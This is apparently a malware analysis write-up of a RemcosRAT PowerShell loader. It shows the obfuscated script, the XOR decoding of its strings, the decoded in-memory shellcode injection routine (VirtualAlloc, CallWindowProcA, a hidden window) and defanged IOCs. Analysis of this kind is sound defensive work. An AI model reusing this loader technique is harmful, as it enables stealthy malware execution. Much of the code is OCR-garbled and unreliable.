AfbrKartnfrsteSubb [Misi$StorD.epueKoncsTkkeiAkinnStatf H.uiSelecU naeAn erBrndilncinAbragColos Strm Ba.iAmmod

ShulTarde .mderEvi.nAnspe Be .Fun,cDok,o‘Gim.u WennSammtSyss-Psit2,iss]Cann ')

7 Smedemestres (Flugtskuds 'Meli$Frkkg Prel,cutoB,robSkn.a FotlTr m:Sk,aFUndeoBillr AppbOv,riVe dgTredaEtagn Hovg lae.redn ed Di
s=kobb ,and(blod[SpunISu.an Rent FleP M.at Stjrtamb]Bi.a:Leds:B,oisJocuiFigezDeadeBugs ,olp- aleS,naq Rep F,re8te,i)Helt ")

8 Smedemestres (Flugtskuds 'Cof iNovafForu Ente (Sy.s!Dece$ aecFHypooRebnrPolabSub,iUfolg Quia .ycnUl,igUidee AzonR.ts)Marc{H.ld
Uka$Presg Almlh,rmo Addb.vira s,o0lDisj:PrerRHu.peMajkcUds as,idnGrogt Rads Seg ran=Misa Tert$Sk 1HSpuroYik g T,yg Ehl} F.s ')
9 Smedemestres (Flugtskuds 'Str $SanmgBu, kl,egioLophbSpadaNonhl nu, :AndoTCi,xu UparPicab A,goR,enlBankaM nedAnaseGazed
LigeQuaksGenn=,nig( ,ec$hoveU,inan eod So eAntar ForsAn,it ,roiCutpmTa,luCacol ,kaeGourrtraneForktLakr emi-Oe lo De.rOper
S.rpSAs.eF seloIndfrFe dbPseui Kv.gUdlaaBlamnGameg,upeeRompnCall)Ngte ')

10 if ($Turboladedes) {

11 &$Recants $gammoned

12 Smedemestres $Skamfilendes

13 1

14 function Skinproblemerl36 ($Gutsily,$Mdeaftalerne) {

15 #Unsumptuary Jowlop Cyclene Procurability Theelols Somalier Gus Jujubes Neonlysskiltenes gavstrikkene Skefuldenes Afprikninger
Heterologous Klippegulves Vitaminrigheden Ringvejsprojekterne Kofangeres Evangelist Callout Exteroceptor Sytraades Sadistisk
Maeandrina Tabelskitsers Frigorific Salthouse Destillatolierne Kontorlsningers Galeasen Careerers Printmenuen

Windows PowerShell length: 27,983 _lines : 153 Lni6 Col:372 Pos:1563

Windows (CRLF) _ UTF-8 INS.

Figure 9: Using the Same Regex
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38 [} 5

39 $Revisionen=Irvings27 '446E6463727A39737B7B"

40 $Miniatureformaters=Irvings27 '5ATE7465786478716339407E792425394279647671725976637TE6L725AT2637F787364"

41 $Ekskursionens=Irvings27 '5072634765787456737365726464"

42 $Masterstroke=Irvings27 '446E6463727A39456279637ETA72395E796372657867447265617E747264395F7679737B72457271"

43 $Nationalistiske=Irvings27 '6463657E7970"

44 $Waling89=Irvings27 '5072635A7873627B725F7679737R72"

45 $Lige=Irvings27 '4543446772747E767B59767A723B375F7TE7372556E447E703B374762757BTE74"

46 $Coelanaglyphic=Irvings27 '456279637ETAT23B375A767976707273"

47 $Zorn=Irvings27 '4572717B727463727353727B7270766372"

48 $Fljtespillernes=Irvings27 '5E795AT27AT8656E5A78736278B72"

49 $requital=Irvings27 '5SAGES3727B7270766372436E6772"

50 $Mancipate=Irvings27 '547B7664643B374762757B7E743B374472767B72733B375679647E547B7664643B3756626378547B766464"

51 $Paritetsbit=Irvings27 '5E7961787C72"

52 $Intenible=Irvings27 '4762757B7ET43B375F7E7372556E447E703B37597260447B78633B37417E656362767B"

53 $Lanolated=Irvings27 '417E656362767B567RBTR7874"

54 $Konfererende=Irvings27 '7963737B7B"

55 $Premeasure=Irvings27 '596347657863727463417E656362767B5AT72TAT8656E"

56 $Postantennal=Irvings27 '4B'

57 $Squalidness=Irvings27 '424452452425"

58 $Froprdiken=Irvings27 '54767B7TB407ET97378604765787456"

59 $dermatopathophobia = Irvings27 '7C726579727B2425"

60 $Gaveafgifters = Irvings27 '626472652425"'

61 $Muschelkalk=Irvings27 '447F7860407E79737860°"

62 function Platinamine ($Ravishments, $Byrindets) {

63 Irvings27

'33707B7875767B2D53766376657273627C637E78796471786573727B727964372A374C56676753787AT67TET94A2D2D5462656572796353787A767

‘Windows PowerShell length: 19,626 lines: 121 Ln:64 Col:1 Pos:7743 Windows (CRLF)  UTF-8 INS

Figure 10: Using new encoding method

After further analysis, I discovered that this new encoding method uses XOR with 17 in Hex as the key to decode

the string, as shown in Figure 11.

Operations Recipe BEE nput +0OzF =
search From b © s2657875657E797060 1787¢ 78637663726 D7364756E6573; 63777873
- o He 7747678 07361 5. 6172707372797372643¢]
Favourites w Delimiter
None
To Baseb4
XOR on
From Base64
Key Scheme
To Hex 17 HEX~ Standard CINull preserving
From Hex
To Hexdump
From Hexdump
(LR et w12 =1 Tr Raw Bytes & LF
Regular expression Output a8 I_l:l ol
Entropy 31 ingstogt . Invoke($Re. 'ne, $Arbejdsbyrder 11 )]

Fork

Magic

Find / Replace

Data format

Encryption / Encoding

Public Key

Arithmetic / Logic

s STEP m Auto Bake
s =1 @ s Tr Rewoytes e LF

Figure 11: Using CyberChef to decode
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35 }

36 SRevisionen=Irvings27 'System.dll'

37 $Miniatureformaters=Irvings27 'Microsoft.Win32.UnsafeNativeMethods'
38 $Ekskursionens=Irvings27 'GetProcAddress'

39 $Masterstroke=Irvings27 'System.Runtime.InteropServices.HandleRef'
40 $Nationalistiske=Irvings27 '"string'

41 $Waling89=Irvings27 'GetModuleHandle'

42 $Lige=Irvings27 'RTSpecialName, HideBySig, Public'

43 $Coelanaglyphic=Irvings27 'Runtime, Managed'

44 SZorn=Irvings27 'ReflectedDelegate’

45 $Fljtespillernes=Irvings27 'InMemoryModule'

46 $requital=Irvings27 'MyDelegateType'

477 SMancipate=Irvings27 'Class, Public, Sealed, AnsiClass, AutoClass'
48 $Paritetsbit=Irvings27 'Invoke"

49 $Intenible=Irvings27 'Public, HideBySig, NewSlot, Virtual'

50 $Lanolated=Irvings27 'VirtualAlloc'

51 $Konfererende=Irvings27 'ntdll"'

52 $Premeasure=Irvings27 'NtProtectVirtualMemory'

53 $Postantennal=Irvings27 '\’

54 $Squalidness=Irvings27 'USER32'

55 $Froprdiken=Irvings27 'CallWindowProcA'

56 $dermatopathophobia = Irvings27 'kernel32'

57 $Gaveafgifters = Irvings27 'user32'
58 $Muschelkalk=Irvings27 'ShowWindow'

Figure 12: Decoding of every XOR encoded

VBS After Decoding & CleaningPermalink

$Woadman="\syswow64\WindowsPowerShell\v1.0\powershell.exe
$Hogg="powershell.exe '

$Skamfilendes ='exit

Smedemestres ('$global:Recants=$env:windir + $Woadman ')

Smedemestres ('$global:Desinficeringsmidlerne = ((gwmi win32_process -F ProcessId=${PID}).CommandLine) -split [«

Smedemestres ('$global:gammoned = $Desinficeringsmidlerne[$Desinficeringsmidlerne.count-2] ")
Smedemestres ('$global:Forbigangen = ([IntPtr]::size -eq 8) ')

Smedemestres ('if (!$Forbigangen){ $global:Recants = $Hogg} ')

Smedemestres ('$global:Turboladedes=($Understimuleret -or $Forbigangen) ')

if($Turboladedes){

&$Recants $gammoned

Smedemestres $Skamfilendes

}
function Skinproblemer136 ($Gutsily,$Mdeaftalerne) {

Smedemestres ('$Gutsily -bxor $Mdeaftalerne ')

Function Irvings27 ($vagtposten, $Herpetolog = 0){

Smedemestres ('$global:Blomsterkoste = New-Object byte[] ($vagtposten.Length / 2) $global:Blomsterkoste = New-Ot

For($§Milvine=0; $Milvine -1t $vagtposten.Length; $Milvine+=2){

Smedemestres ('$Blomsterkoste[$Milvine/2] = [convert]::ToByte($vagtposten.Substring($Milvine, 2), 16) ')
$Blomsterkoste[$Milvine/2] = Skinproblemer136 $Blomsterkoste[$Milvine/2] 23

}

Smedemestres ('$global:Pigeonholes=[String][System.Text.Encoding]::ASCII.GetString($Blomsterkoste) ')

if ($Herpetolog) {
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Smedemestres $Pigeonholes

telse {

$Pigeonholes

}
}

$Revisionen=Irvings27 'System.dll’

$Miniatureformaters=Irvings27 'Microsoft.Win32.UnsafeNativeMethods'

$Ekskursionens=Irvings27 'GetProcAddress'

$Masterstroke=Irvings27 'System.Runtime.InteropServices.HandleRef'

$Nationalistiske=Irvings27 'string'
$Waling89=Irvings27 'GetModuleHandle'

$Lige=Irvings27 'RTSpecialName, HideBySig, Public'

$Coelanaglyphic=Irvings27 'Runtime, Managed'

$Zorn=Irvings27 'ReflectedDelegate’

$Fljtespillernes=Irvings27 'InMemoryModule’

$requital=Irvings27 'MyDelegateType’

$Mancipate=Irvings27 'Class, Public, Sealed, AnsiClass, AutoClass'

$Paritetsbit=Irvings27 'Invoke'

$Intenible=Irvings27 'Public, HideBySig, NewSlot, Virtual'
$Lanolated=Irvings27 'VirtualAlloc'
$Konfererende=Irvings27 'ntdll'

$Premeasure=Irvings27 'NtProtectVirtualMemory'

$Postantennal=Irvings27 '\’
$Squalidness=Irvings27 'USER32'
$Froprdiken=Irvings27 'CallWindowProcA’

$dermatopathophobia = Irvings27 'kernel32'

$Gaveafgifters = Irvings27 'user32'
$Muschelkalk=Irvings27 'ShowWindow'

function

{

}

function

{

}

Platinamine ($Ravishments, $Byrindets)

Irvings27 '$global:Datareduktionsfordelens = [AppDomain]::CurrentDomain.GetAssemblies()"' 1

Irvings27 '$global:Forpagtningsforhold = ($Datareduktionsfordelens | Where-Object { $_.GlobalAssemblyCe
Irvings27 '$global:Firesafe = $Forpagtningsforhold.GetMethod($Ekskursionens, [Type[]] @($Masterstroke,
Irvings27 'return $Firesafe.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object Syste

Taenkte ([Parameter(Position = @)] [Type[]] $Nominations,[Parameter(Position = 1)] [Type] $Baggrundsla

Irvings27 '$global:Bagvasker = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Ref1
$Nuklearmedicin85=33344-33343

Irvings27 '$Bagvasker.DefineConstructor($Lige, $Nuklearmedicin85, $Nominations).SetImplementationFlags(
Irvings27 '$Bagvasker.DefineMethod($Paritetsbit, $Intenible, $Baggrundslager, $Nominations).SetImplemer
Irvings27 'return $Bagvasker.CreateType()' 1

$Indvendendes=0

Irvings27 '$global:Headroom = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Platinam:

Irvings27 '$global:Rhema = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Platinamine
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$Holloa = 'Varigheder'

Irvings27 '${Host}.UI.RawUI.WindowTitle = $Holloa' 1

Irvings27 '$global:Niches = (Get-Process | Where-Object { $_.MainWindowTitle -eq $Holloa })' 1

Irvings27 '$global:Backsliding = $Niches.MainWindowHandle' 1

Irvings27 '$Rhema.Invoke($Backsliding, $Indvendendes)' 1

$Nonmethodically = Platinamine $Konfererende $Premeasure

$GutsilyllocType=-13794+26082

$GutsilyllocProt=-50897+50961

$Gutsilyllocrw=-28683+28687

Irvings27 '$global:Resultaterne = $Headroom.Invoke($Indvendendes, 655, $GutsilyllocType, $GutsilyllocProt)' 1
Irvings27 '$global:Arbejdsbyrder = $Headroom.Invoke($Indvendendes, 26640384, $GutsilyllocType, $Gutsilyllocrw)’
Irvings27 '[System.Runtime.InteropServices.Marshal]::Copy($0kkuperingers, $Indvendendes, $Resultaterne, 655)' °
$Divergence=284535-655

Irvings27 '[System.Runtime.InteropServices.Marshal]::Copy($0kkuperingers, 655, $Arbejdsbyrder, $Divergence)' 1
Irvings27 '$global:Erobringstogt = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Pla
Irvings27 '$Erobringstogt.Invoke($Resultaterne,$Arbejdsbyrder,$Nonmethodically, $Indvendendes,$Indvendendes)' 1

IOCsPermalink

e Hash:

5a4ef048a5e3b38al1cfe3813955¢1770

« URL

shereihnao[.]ru[.]com

hxxp://shereihnao[.]ru[.]com/Bededagsferier[.]hhk

Source: https://0xmrmagnezi.github.io/malware%20analysis/RemcosRAT/
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